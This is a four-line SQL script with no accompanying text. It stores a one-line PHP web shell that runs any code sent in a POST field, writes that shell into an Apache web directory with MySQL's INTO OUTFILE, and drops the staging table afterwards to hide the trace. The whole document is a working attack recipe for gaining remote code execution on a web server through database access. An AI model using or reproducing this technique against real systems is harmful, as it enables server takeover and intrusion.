Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile '/usr/local/apache/test/test.php';
Drop TABLE IF EXISTS a;